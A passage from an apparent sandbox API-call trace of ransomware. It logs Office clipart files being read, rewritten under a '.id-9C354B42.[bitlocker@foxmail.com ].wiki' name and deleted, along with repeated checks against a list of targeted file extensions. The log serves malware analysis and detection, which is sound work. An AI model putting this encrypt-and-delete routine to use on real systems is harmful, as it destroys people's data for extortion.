lpOverlapped=0x0) returned 1 [0189.167] WriteFile (in: hFile=0x21c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x79d0, lpOverlapped=0x0) returned 1 [0189.168] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.168] WriteFile (in: hFile=0x21c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.168] SetEndOfFile (hFile=0x21c) returned 1 [0189.168] CloseHandle (hObject=0x21c) returned 1 [0189.168] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.168] SetEndOfFile (hFile=0x218) returned 1 [0189.169] CloseHandle (hObject=0x218) returned 1 [0189.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0189.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0189.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0189.170] lstrlenW (lpString=".doc") returned 4 [0189.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.170] lstrlenW (lpString=".docx") returned 5 [0189.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.170] lstrlenW (lpString=".pdf") returned 4 [0189.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.170] lstrlenW (lpString=".xls") returned 4 [0189.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.170] lstrlenW (lpString=".xlsx") returned 5 [0189.170] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.170] lstrlenW (lpString=".ppt") returned 4 [0189.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0189.170] lstrlenW (lpString=".zip") returned 4 [0189.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.170] lstrlenW (lpString=".rar") returned 4 [0189.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.170] lstrlenW (lpString=".bz2") returned 4 [0189.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.170] lstrlenW (lpString=".7z") returned 3 [0189.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0189.171] lstrlenW (lpString=".dbf") returned 4 [0189.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0189.171] lstrlenW (lpString=".1cd") returned 4 [0189.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0189.171] lstrlenW (lpString=".jpg") returned 4 [0189.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0189.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0189.171] lstrlenW (lpString=".doc") returned 4 [0189.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.171] lstrlenW (lpString=".docx") returned 5 [0189.171] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.171] lstrlenW (lpString=".pdf") returned 4 [0189.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.171] lstrlenW (lpString=".xls") returned 4 [0189.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.171] lstrlenW (lpString=".xlsx") returned 5 [0189.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.171] lstrlenW (lpString=".ppt") returned 4 [0189.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0189.171] lstrlenW (lpString=".zip") returned 4 [0189.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.171] lstrlenW (lpString=".rar") returned 4 [0189.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.172] lstrlenW (lpString=".bz2") returned 4 [0189.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.172] lstrlenW (lpString=".7z") returned 3 [0189.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0189.172] lstrlenW (lpString=".dbf") returned 4 [0189.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0189.172] lstrlenW (lpString=".1cd") returned 4 [0189.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0189.172] lstrlenW (lpString=".jpg") returned 4 [0189.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.172] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.172] lstrlenW (lpString="FD02075_.WMF") returned 12 [0189.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.172] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4396) returned 1 [0189.172] CloseHandle (hObject=0x218) returned 1 [0189.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x20 [0189.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.173] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.173] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0189.173] GetLastError () returned 0x0 [0189.173] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x112c, lpOverlapped=0x0) returned 1 [0189.186] WriteFile (in: hFile=0x21c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1130, lpOverlapped=0x0) returned 1 [0189.186] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.186] WriteFile (in: hFile=0x21c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.187] SetEndOfFile (hFile=0x21c) returned 1 [0189.187] CloseHandle (hObject=0x21c) returned 1 [0189.187] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.187] SetEndOfFile (hFile=0x218) returned 1 [0189.348] CloseHandle (hObject=0x218) returned 1 [0189.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0189.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0189.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0189.380] lstrlenW (lpString=".doc") returned 4 [0189.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.380] lstrlenW (lpString=".docx") returned 5 [0189.380] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.380] lstrlenW (lpString=".pdf") returned 4 [0189.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.380] lstrlenW (lpString=".xls") returned 4 [0189.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.380] lstrlenW (lpString=".xlsx") returned 5 [0189.380] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.380] lstrlenW (lpString=".ppt") returned 4 [0189.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0189.380] lstrlenW (lpString=".zip") returned 4 [0189.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.380] lstrlenW (lpString=".rar") returned 4 [0189.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.380] lstrlenW (lpString=".bz2") returned 4 [0189.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.380] lstrlenW (lpString=".7z") returned 3 [0189.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0189.380] lstrlenW (lpString=".dbf") returned 4 [0189.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0189.380] lstrlenW (lpString=".1cd") returned 4 [0189.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0189.381] lstrlenW (lpString=".jpg") returned 4 [0189.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0189.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0189.381] lstrlenW (lpString=".doc") returned 4 [0189.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.381] lstrlenW (lpString=".docx") returned 5 [0189.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.381] lstrlenW (lpString=".pdf") returned 4 [0189.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.381] lstrlenW (lpString=".xls") returned 4 [0189.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.381] lstrlenW (lpString=".xlsx") returned 5 [0189.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.381] lstrlenW (lpString=".ppt") returned 4 [0189.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0189.381] lstrlenW (lpString=".zip") returned 4 [0189.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.381] lstrlenW (lpString=".rar") returned 4 [0189.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.381] lstrlenW (lpString=".bz2") returned 4 [0189.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.381] lstrlenW (lpString=".7z") returned 3 [0189.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0189.381] lstrlenW (lpString=".dbf") returned 4 [0189.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0189.382] lstrlenW (lpString=".1cd") returned 4 [0189.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 63 [0189.382] lstrlenW (lpString=".jpg") returned 4 [0189.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.382] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.382] lstrlenW (lpString="HH00241_.WMF") returned 12 [0189.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.382] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1960) returned 1 [0189.382] CloseHandle (hObject=0x1d8) returned 1 [0189.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x20 [0189.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.383] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.383] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.383] GetLastError () returned 0x0 [0189.383] ReadFile (in: hFile=0x1d8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x7a8, lpOverlapped=0x0) returned 1 [0189.385] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x7b0, lpOverlapped=0x0) returned 1 [0189.386] ReadFile (in: hFile=0x1d8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.386] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.386] SetEndOfFile (hFile=0x1f8) returned 1 [0189.386] CloseHandle (hObject=0x1f8) returned 1 [0189.386] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.386] SetEndOfFile (hFile=0x1d8) returned 1 [0189.387] CloseHandle (hObject=0x1d8) returned 1 [0189.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0189.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0189.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0189.388] lstrlenW (lpString=".doc") returned 4 [0189.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.388] lstrlenW (lpString=".docx") returned 5 [0189.388] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.388] lstrlenW (lpString=".pdf") returned 4 [0189.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.388] lstrlenW (lpString=".xls") returned 4 [0189.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.388] lstrlenW (lpString=".xlsx") returned 5 [0189.388] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.388] lstrlenW (lpString=".ppt") returned 4 [0189.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0189.388] lstrlenW (lpString=".zip") returned 4 [0189.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.388] lstrlenW (lpString=".rar") returned 4 [0189.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.389] lstrlenW (lpString=".bz2") returned 4 [0189.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.389] lstrlenW (lpString=".7z") returned 3 [0189.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0189.389] lstrlenW (lpString=".dbf") returned 4 [0189.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0189.389] lstrlenW (lpString=".1cd") returned 4 [0189.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0189.389] lstrlenW (lpString=".jpg") returned 4 [0189.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0189.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0189.389] lstrlenW (lpString=".doc") returned 4 [0189.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.389] lstrlenW (lpString=".docx") returned 5 [0189.389] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.389] lstrlenW (lpString=".pdf") returned 4 [0189.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.389] lstrlenW (lpString=".xls") returned 4 [0189.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.389] lstrlenW (lpString=".xlsx") returned 5 [0189.389] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.389] lstrlenW (lpString=".ppt") returned 4 [0189.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0189.389] lstrlenW (lpString=".zip") returned 4 [0189.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.389] lstrlenW (lpString=".rar") returned 4 [0189.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.390] lstrlenW (lpString=".bz2") returned 4 [0189.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.390] lstrlenW (lpString=".7z") returned 3 [0189.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0189.390] lstrlenW (lpString=".dbf") returned 4 [0189.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0189.390] lstrlenW (lpString=".1cd") returned 4 [0189.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 63 [0189.390] lstrlenW (lpString=".jpg") returned 4 [0189.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.390] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.390] lstrlenW (lpString="HH00260_.WMF") returned 12 [0189.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.390] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3662) returned 1 [0189.391] CloseHandle (hObject=0x1d8) returned 1 [0189.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x20 [0189.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0189.391] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.391] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.392] GetLastError () returned 0x0 [0189.392] ReadFile (in: hFile=0x1d8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xe4e, lpOverlapped=0x0) returned 1 [0189.393] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe50, lpOverlapped=0x0) returned 1 [0189.394] ReadFile (in: hFile=0x1d8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.394] WriteFile (in: hFile=0x1f8, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, 